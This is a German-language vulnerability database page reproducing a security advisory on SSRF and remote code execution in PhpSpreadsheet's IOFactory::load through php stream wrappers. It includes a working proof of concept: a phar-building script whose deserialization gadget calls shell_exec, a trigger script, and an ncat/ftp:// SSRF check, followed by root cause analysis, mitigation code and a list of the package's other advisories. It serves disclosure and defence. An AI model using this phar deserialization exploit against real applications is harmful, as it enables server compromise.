Kritisch

PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled

  • Veröffentlicht: 29.04.2026
  • Aktualisiert: 11.10.2026 10:22

The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat(). The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC

To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:

ini
phar.readonly=0

make_phar.php to create the malicious file:

php
<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern:

php
<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$filename = $argv[1] ?? null;

if (!$filename) {
    echo "Usage: php test.php <path>\n";
    echo "  e.g. php test.php phar://exploit.xlsx/whatever\n";
    exit(1);
}

echo "Calling IOFactory::load('" . $filename . "')\n";

try {
    $spreadsheet = IOFactory::load($filename);
    var_dump($spreadsheet);
} catch (Throwable $e) {
    echo "Vuln has still triggered even if exception triggers.\n";
}

RCE

Run the PoC (for RCE):

bash
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt

The file /tmp/poc.txt should now be present on disk.

Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.

SSRF

Run the PoC (for SSRF):

bash
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test

Observe a connection is made to 127.0.0.1 on port 21.

Root Cause Analysis

Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:

php
IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) ->  File::assertFile($filename, ...) -> is_file($filename);

The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.

php
    public function __destruct()
    {
        // Unlink temporary files
        // There is nothing reasonable to do if unlink fails.
        if ($this->tempFileName != '') {
            @unlink($this->tempFileName);
        }
    }

    /** @param mixed[] $data */
    public function __unserialize(array $data): void
    {
        $this->tempFileName = '';

        throw new SpreadsheetException('Unserialize not permitted');
    }

Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.

Suggested mitigations

Use is_file only after making sure the filename does not contain any php wrapper:

php
$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
    throw new \PhpOffice\PhpSpreadsheet\Exception(
        "Stream wrappers are not permitted as file paths: {$filename}"
    );
}

or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:

php
$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
    throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}

// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
    throw new ...
}

Note: stream_is_local() would also not be safe here — as it considers phar:// to be local and would not block it.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket phpoffice/phpspreadsheet >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-502, CWE-918
Plattform
Composer
Paket
phpoffice/phpspreadsheet
Veröffentlicht
29.04.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-q4q6-r8wh-5cgh - CC BY 4.0

Schwachstellenhistorie: phpoffice/phpspreadsheet

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (31) im Archiv
Einträge insgesamt
31
Erste → letzte
11.2019 07.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 17
  • Mittel 12

Veröffentlichungen pro Jahr

  1. 2019: 2
  2. 2020: 0
  3. 2021: 1
  4. 2022: 0
  5. 2023: 0
  6. 2024: 9
  7. 2025: 10
  8. 2026: 9
Schweregrad:
  1. Hoch · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. Hoch · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. Hoch · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. Kritisch CVE-2026-45034 < 1.30.5 1.30.5
  5. Hoch · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. Hoch · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled dieser Eintrag
    Kritisch CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. Hoch CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  9. Hoch · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  10. Hoch · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. Hoch · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. Hoch · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. Hoch · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  14. Hoch · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. Hoch · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  16. Hoch · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  17. Hoch · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  18. Hoch · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.